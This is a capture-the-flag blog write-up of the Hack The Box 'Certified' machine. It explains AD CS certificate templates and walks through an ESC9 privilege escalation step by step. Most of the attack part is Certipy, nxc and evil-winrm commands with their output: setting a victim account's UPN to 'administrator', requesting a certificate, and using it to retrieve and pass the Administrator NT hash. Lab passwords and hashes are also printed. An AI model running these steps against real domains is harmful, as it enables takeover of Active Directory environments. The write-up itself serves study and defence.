In a nutshell, if a client wants to authenticate using the Certificate Trust model, he must generate a private/public key pair and send a CSR (Certificate Signing Request) to the CA. Making a certificate request is also named making an enrollment.
When the client enrolls a certificate, he also specifies which certificate template to use. As the Microsoft’s documentation states, “certificate templates are the sets of rules and settings that are configured on a CA to be applied against incoming certificate requests.” In particular, certificate templates can be configured to restrict which client can enroll for the template. Therefore, clients can request a certificate only if they have enrollment rights over the requested certificate template.
If everything is okay, the CA generates, signs and provides a certificate to the client.
Image taken from specterops.
We could use Certipy to retrieve all the certificate templates defined in the current ADCS:
jamarir@kali:~$ certipy find -u judith.mader@certified.htb -p 'judith09' -dc-ip 10.10.11.41 -old-bloodhound
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved BloodHound data to '<DATE>_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @BloodHoundAD
The -old-bloodhound
option makes the retrieved ZIP compatible with the standard Kali BloodHound. Then, we could add the Certipy’s custom BloodHound queries into ~/.config/bloodhound/customqueries.json
.
Numerous certificate templates are enabled, where most of them are created by default:
For instance, we could check which clients are allowed to enroll the User
template:
Here, members of the groups Enterprise Admins
, Domain Admins
, and Domain Users
are allowed to request a User
certificate template. This template contains numerous attributes:
For example, User
certificates has a Renewal Period
attribute (which is actually mapped to the pKIOverlapPeriod
attribute), the time after which the client’s certificate expires.
A certificate can be requested using the Get-Certificate
cmdlet, and are stored in the My
directory of the Windows Store:
*Evil-WinRM* PS C:\Users\management_svc\Documents> Get-Certificate -Template 'User' -CertStoreLocation Cert:\CurrentUser\My
Status Certificate
------ -----------
Issued [Subject]...
*Evil-WinRM* PS C:\Users\management_svc\Documents> Get-ChildItem -Force Cert:\CurrentUser\My |fl
Subject : CN=management service, CN=Users, DC=certified, DC=htb
Issuer : CN=certified-DC01-CA, DC=certified, DC=htb
Thumbprint : 7986A3DE0BB869520F2D3B2746D4F9D52E2AFF9B
FriendlyName :
NotBefore : <DATE>
NotAfter : <DATE>
Extensions : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}
Authentications Are Certified, No Worries !
Using the following custom BloodHound query to remove all the default certificate templates:
MATCH (n:GPO) WHERE n.type='Certificate Template' AND NOT ANY (x IN n.name WHERE toUpper(x) =~ '^(CA|EFS|CAEXCHANGE|ENROLLMENTAGENTOFFLINE|WEBSERVER|KERBEROSAUTHENTICATION|CODESIGNING|DIRECTORYEMAILREPLICATION|CEPENCRYPTION|USERSIGNATURE|SMARTCARDLOGON|RASANDIASSERVER|KEYRECOVERYAGENT|SUBCA|CROSSCA|WORKSTATION|CLIENTAUTH|SMARTCARDUSER|IPSECINTERMEDIATEOFFLINE|IPSECINTERMEDIATEONLINE|EFSRECOVERY|OFFLINEROUTER|ENROLLMENTAGENT|EXCHANGEUSER|EXCHANGEUSERSIGNATURE|OCSPRESPONSESIGNING|CTLSIGNING|ADMINISTRATOR|DOMAINCONTROLLER|DOMAINCONTROLLERAUTHENTICATION|MACHINE|MACHINEENROLLMENTAGENT|USER)@.*' ) RETURN n
Leaves us with one certificate: CertifiedAuthentication
.
Also, looking for templates that can be requested by non-admin users (-hide-admins
option) shows one interesting template named CertifiedAuthentication
:
jamarir@kali:~$ certipy find -u judith.mader@certified.htb -p 'judith09' -dc-ip 10.10.11.41 -enabled -hide-admins -stdout
[...]
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
[...]
Indeed, this is the only non-default certificate template. Also, this template is the only one that the operator_ca
user we compromised can enroll:
jamarir@kali:~$ certipy find -u judith.mader@certified.htb -p 'judith09' -dc-ip 10.10.11.41 -enabled -hide-admins -stdout |grep -P 'Template Name|Enrollment Rights'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
Template Name : CertifiedAuthentication
Enrollment Rights : CERTIFIED.HTB\operator ca
[...]
Template Name : Machine
Enrollment Rights : CERTIFIED.HTB\Domain Computers
[...]
Template Name : EFS
Enrollment Rights : CERTIFIED.HTB\Domain Users
Template Name : User
Enrollment Rights : CERTIFIED.HTB\Domain Users
The most important parts to look at on the certificate template are the followings.
Enrollment Rights
Enrollment Rights : CERTIFIED.HTB\operator ca
This section simply lists the principals that are allowed to request the certificate template. These individuals are defined in the ntSecurityDescriptor
attribute of the certificate template.
Extended Key Flag
Extended Key Usage : Server Authentication
Client Authentication
This section describes the purpose(s) of the issued certificates, i.e. for what the issued certificates can be used for. The exhaustive purpose list is defined in RFC3280:
In particular, CertifiedAuthentication
certificates can be used for client authentications.
Certificate Name Flag
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
This section specifies the values that MUST be in the client’s certificate (related certipy
's code). Here, 2 attributes are required:
SubjectRequireDirectoryPath
instructs the CA to set the certificate’s Subject Name to the requestor's DN (Distinguished Name).SubjectAltRequireUpn
instructs the CA to set the certificate’s Subject Alternative Name to the requestor’s UPN (User Principal Name).
Enrollment Flag
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
This section specifies actions to be done during the enrollment (related certipy
's code):
NoSecurityExtension
instructs the CA not to include theszOID_NTDS_CA_SECURITY_EXT
security extension (that definitely doesn’t sound secure).AutoEnrollment
instructs clients to autoenroll that template.PublishToDs
instructs the CA to append the certificate to theuserCertificate
attribute.
We’ll have a look of an example of each attibute afterwards
ESC9 exploitation
Let’s look for vulnerable certificate templates as ca_operator
:
jamarir@kali:~$ certipy find -u ca_operator@certified.htb -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -vulnerable -stdout
[...]
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
This CertifiedAuthentication
template is vulnerable to the ESC9 exploit. As explained by this ifcr’s article, ESC9 is due to the CT_FLAG_NO_SECURITY_EXTENSION
being set.
Let’s first use these Hacker Recipes and this offsecdeer’s blog to perform the attack:
Our requestor is
ca_operator
. Update the requestor’s UPN toAdministrator
:jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Updating user 'ca_operator': userPrincipalName : administrator [*] Successfully updated 'ca_operator'
Request a certificate as
administrator
UPN:jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 5 [*] Got certificate with UPN 'administrator' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
Authenticate with that certificate:
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@certified.htb [*] Trying to get TGT... [-] Name mismatch between certificate and user 'administrator' [-] Verify that the username 'administrator' matches the certificate UPN: administrator
Let’s try to update the UPN to an unexistent one, e.g.
aadministrator
?jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'aadministrator@certified.htb' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Updating user 'ca_operator': userPrincipalName : aadministrator@certified.htb [*] Successfully updated 'ca_operator'
Indeed, that
aadministrator
user doesn’t exist, so we can’t authenticate with it:jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthentication -target-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 7 [*] Got certificate with UPN 'aadministrator@certified.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'aadministrator.pfx' jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx aadministrator.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: aadministrator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'aadministrator.ccache' [*] Trying to retrieve NT hash for 'aadministrator' [-] Got error: Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Use -debug to print a stacktrace
But can we now authenticate with the
administrator
certificate ? I mean, why not giving it a try ?jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
GG WP ?!
jamarir@kali:~$ evil-winrm -i 10.10.11.41 -u 'administrator' -H '0d5b49608bbce1751f708748f67e2d34'
*Evil-WinRM* PS C:\Users\Administrator\Documents> gc ../desktop/root.txt
6a[...]86
Okay, What just happened ?!
Analysis
So:
Why can’t the requestor authenticate using
administrator.pfx
when his UPN isadministrator
?Why can the requestor authenticate using
administrator.pfx
when his UPN is NOTadministrator
?
First, let’s extract the private and public parts of the administrator.pfx
and aadministrator.pfx
certificates:
jamarir@kali:~$ for upn in administrator aadministrator; do certipy cert -pfx "$upn.pfx" -nokey > "$upn.cer"; certipy cert -pfx "$upn.pfx" -nocert > "$upn.pem"; done
As we can see, both certificates’ Subject Names are set to the ca_operator
's DN because of the template’s CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
flag:
Also, as expected, the Subject Alternative Name is set to the requestor’s UPN, because of the template’s CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
flag:
We could also have used
openssl
to get the certificates’ details:
jamarir@kali:~$ openssl x509 -noout -text -in administrator.cer Certificate: Data: Version: 3 (0x2) Serial Number: 79:00:00:00:15:b2:dc:50:36:0a:bf:a7:a7:00:00:00:00:00:15 Signature Algorithm: sha256WithRSAEncryption Issuer: DC=htb, DC=certified, CN=certified-DC01-CA [...] Subject: DC=htb, DC=certified, CN=Users, CN=operator ca [...] X509v3 extensions: X509v3 Subject Key Identifier: E2:9A:60:E5:40:07:68:CF:05:0E:1F:DD:72:5C:63:66:1C:49:9C:89 X509v3 Authority Key Identifier: EC:FB:12:40:15:A1:BD:C7:D1:2E:3B:2E:4D:4B:72:C0:62:DF:2B:F5 X509v3 CRL Distribution Points: Full Name: URI:ldap:///CN=certified-DC01-CA,CN=DC01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint Authority Information Access: CA Issuers - URI:ldap:///CN=certified-DC01-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?cACertificate?base?objectClass=certificationAuthority [...] X509v3 Extended Key Usage: TLS Web Server Authentication, TLS Web Client Authentication [...] X509v3 Subject Alternative Name: othername: UPN::administrator@certified.htb [...]
jamarir@kali:~$ openssl x509 -noout -text -in aadministrator.cer Certificate: Data: Version: 3 (0x2) Serial Number: 79:00:00:00:16:98:ff:e9:fa:26:41:ae:8e:00:00:00:00:00:16 Signature Algorithm: sha256WithRSAEncryption Issuer: DC=htb, DC=certified, CN=certified-DC01-CA [...] Subject: DC=htb, DC=certified, CN=Users, CN=operator ca [...] X509v3 extensions: X509v3 Subject Key Identifier: BC:1A:EE:38:91:0B:EA:65:34:E5:78:9B:2C:6A:40:0C:69:02:CD:EA X509v3 Authority Key Identifier: EC:FB:12:40:15:A1:BD:C7:D1:2E:3B:2E:4D:4B:72:C0:62:DF:2B:F5 X509v3 CRL Distribution Points: Full Name: URI:ldap:///CN=certified-DC01-CA,CN=DC01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint Authority Information Access: CA Issuers - URI:ldap:///CN=certified-DC01-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?cACertificate?base?objectClass=certificationAuthority [...] X509v3 Extended Key Usage: TLS Web Server Authentication, TLS Web Client Authentication [...] X509v3 Subject Alternative Name: othername: UPN::aadministrator@certified.htb [...]
In Wireshark, authenticating using administrator.pfx
with UPN administrator
returns a KDC_ERR_CLIENT_NAME_MISMATCH
error. However, authenticating using administrator.pfx
with UPN aadministrator
succeeds, with a corresponding AS-REP response.
Nonetheless, aren’t these two requests identical ?
Microsoft reported a bug of an issue that prevents Key Trust authentication from working properly on early Windows Servers 2019:
jamarir@kali:~$ nxc smb 10.10.11.41
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
An update to KB4487044 (OS Build 17763.316) build would resolve that issue. However, we’re not using a Key Trust model authentication, but the Certificate Trust model instead. So that issue doesn’t explain the above error :/
The current build version of the DC’s operating system is 17763.6414, which is definitely more recent than the above glitched build:
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-WMIObject win32_operatingsystem
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 17763
RegisteredUser : Windows User
SerialNumber : 00429-00521-62775-AA913
Version : 10.0.17763
*Evil-WinRM* PS C:\Users\Administrator\Documents> (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name CurrentBuild).CurrentBuild + '.' + (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name UBR).UBR
17763.6414
Okay, I have no choice I guess. Let’s dive into a thorough ESC9 exploitation understanding.
A Certificate Mapping Issue ?
Obsviously, delivered certificates must be tied to an account for them to be used for authentication. In order to tie a given certificate to an account, the CA uses a process called Certificate Mapping.
Certificate Mapping was introduced by Microsoft to prevent several CVEs. In particular, it allows to make sure that issued certificates couldn’t be spoofed with an arbitrary UPN or sAMAccountName (client-based trust).
Certificate Mapping uses a combination of 2 possible options: implicit/explicit and strong/weak.
Implicit vs Explicit Certificate Mapping
If the certificate mapping is implicit, then:
For user clients:
The certificate’s SAN must match the client’s
UPN
.Upon failure, the DC tries to match the SAN with the client’s
sAMAccountName
, orsAMAccountName$
.
For computer clients:
The certificate’s SAN must match the client’s
dNSHostName
.Upon failure, the DC tries to match the SAN (
$
suffixed) with the client’ssAMAccountName
.
If the certificate mapping is explicit, then:
For user or computers clients, the client’s
altSecurityIdentities
attribute must contain the certificate’s identifier. For example, if the client’saltSecurityIdentities
attribute isX509:<I>CN=certified-DC01-CA,DC=certified,DC=htb
+<S>CN=operator ca,CN=Users,DC=certified,DC=htb
, then the client must beoperator ca
, and can only request certificates issued bycertified-DC01
.The following certificate mappings are possible:
In our case, we’re not in an explicit mapping scenario, as users in the domain don’t have the altSecurityIdentities
attribute.
Strong vs Weak Certificate Mapping
As we saw earlier, when the CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
flag is set in the template’s Certificate Name section, the CA MUST add the requestor’s UPN to the certificate:
Let’s check what happens when the ca_operator
’s UPN is deleted:
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn ''
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : *DELETED*
[*] Successfully updated 'ca_operator'
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -d 'certified.htb' --query "(&(objectClass=person)(objectCategory=user)(sAMAccountName=ca_operator))" "*"
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584
LDAP 10.10.11.41 389 DC01 [+] Response for object: CN=operator ca,CN=Users,DC=certified,DC=htb
LDAP 10.10.11.41 389 DC01 objectClass: top person organizationalPerson user
LDAP 10.10.11.41 389 DC01 cn: operator ca
LDAP 10.10.11.41 389 DC01 sn: CA
[... ca_operator has no UPN attribute ...]
Here, the certificate’s SAN is populated with <sAMAccountName>@<domain>
by default:
jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'ca_operator@certified.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'ca_operator.pfx'
Therefore, we’re in an implicit, and weak certificate mapping configuration, as the CSR doesn’t fail without an UPN:
On top of that, the CT_FLAG_NO_SECURITY_EXTENSION
flag prevents a strong certificate mapping, as the StrongCertificateBindingEnforcement
registry key is set to 0:
*Evil-WinRM* PS C:\Users\Administrator\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
DependOnService REG_MULTI_SZ RpcSs\0Afd\0NTDS
Description REG_SZ @%SystemRoot%\System32\kdcsvc.dll,-2
DisplayName REG_SZ @%SystemRoot%\System32\kdcsvc.dll,-1
ErrorControl REG_DWORD 0x1
Group REG_SZ MS_WindowsRemoteValidation
ImagePath REG_EXPAND_SZ %SystemRoot%\System32\lsass.exe
ObjectName REG_SZ LocalSystem
Start REG_DWORD 0x2
Type REG_DWORD 0x20
StrongCertificateBindingEnforcement REG_DWORD 0x0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\Security
What about a UPN duplicate ?
What about using the same UPN between administrator
and ca_operator
?
Let’s grab all the accounts (client and computer) interesting attributes for certificate mapping, i.e. sAMAccountName
and userPrincipalName
:
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -d 'certified.htb' --query "(&(objectClass=person)(|(objectCategory=user)(objectCategory=computer)))" "sAMAccountName userPrincipalName dNSHostName" |grep -oP '^LDAP.*?DC01\s+\K\w.*'
sAMAccountName: Administrator
[...]
sAMAccountName: judith.mader
userPrincipalName: judith.mader@certified.htb
sAMAccountName: management_svc
userPrincipalName: management_svc@certified.htb
sAMAccountName: ca_operator
userPrincipalName: ca_operator@certified.htb
[...]
sAMAccountName: DC01$
dNSHostName: DC01.certified.htb
dNSHostName
is used for computers, so we don’t really care here.When the
ca_operator
’s UPN is deleted, it naturally vanishes:
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn '' jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -d 'certified.htb' --query "(&(objectClass=person)(objectCategory=user)(sAMAccountName=ca_operator))" "sAMAccountName userPrincipalName" SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.41 389 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 LDAP 10.10.11.41 389 DC01 [+] Response for object: CN=operator ca,CN=Users,DC=certified,DC=htb LDAP 10.10.11.41 389 DC01 sAMAccountName: ca_operator
As a reminder, if the ca_operator
’s UPN is administrator
, the authentication fails for some mystic reasons:
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator
The same applies with the
administrator@certified.htb
UPN:
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator@certified.htb' jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41 jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@certified.htb [*] Trying to get TGT... [-] Name mismatch between certificate and user 'administrator' [-] Verify that the username 'administrator' matches the certificate UPN: administrator@certified.htb
As we can see in the LDAP outputs, Administrator
has no UPN. Therefore, I assumed that the CA tries to match the requestor’s (ca_operator
) UPN (administrator
) with the SAN (administrator
). But it somehow cannot (?!), because another user with the same sAMAccountName
set to administrator
exists.
So let’s try to set the Administrator’s UPN to administrator
?
jamarir@kali:~$ certipy account update -username 'administrator@certified.htb' -hashes ':0d5b49608bbce1751f708748f67e2d34' -user 'administrator' -upn 'administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Failed to resolve: CERTIFIED.HTB
[*] Updating user 'Administrator':
userPrincipalName : administrator
[*] Successfully updated 'Administrator'
And retry the certificate authentication as ca_operator
with UPN administrator
?
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : administrator
[-] Received error: 000021C8: AtrErr: DSID-03200E96, #1:
0: 000021C8: DSID-03200E96, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 90290 (userPrincipalName)
Sniff. Administrator
already has the administrator
UPN, and 2 users cannot share the same UPN.
Therefore, we’ll have to delete the Administrator
’s UPN set to administrator
, for ca_operator
to request a certificate with that UPN…
jamarir@kali:~$ certipy account update -username 'administrator@certified.htb' -hashes ':0d5b49608bbce1751f708748f67e2d34' -user 'administrator' -upn ''
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'Administrator':
userPrincipalName : *DELETED*
[*] Successfully updated 'Administrator'
And back to the beginning, the authentication fails…
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator
¯\_(ツ)_/¯
Maybe the only workaround is, maybe, to request a certificate as ca_operator
with the administrator
UPN, and then alter it before the authentication, as we did before.
However, that last update shouldn’t (?) be required, as the ca_operator
’s UPN set to administrator
must equal the certificate’s SAN, also set to administrator
…
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn ''
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
Why ? ¯\_(ツ)_/¯
. (At least, restoring a UPN is OPSEC-friendly)
Subscribe to my newsletter
Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

jamarir
jamarir
Jamaledine AMARIR. Pentester, CTF Player, Game Modding enthusiast | CRTO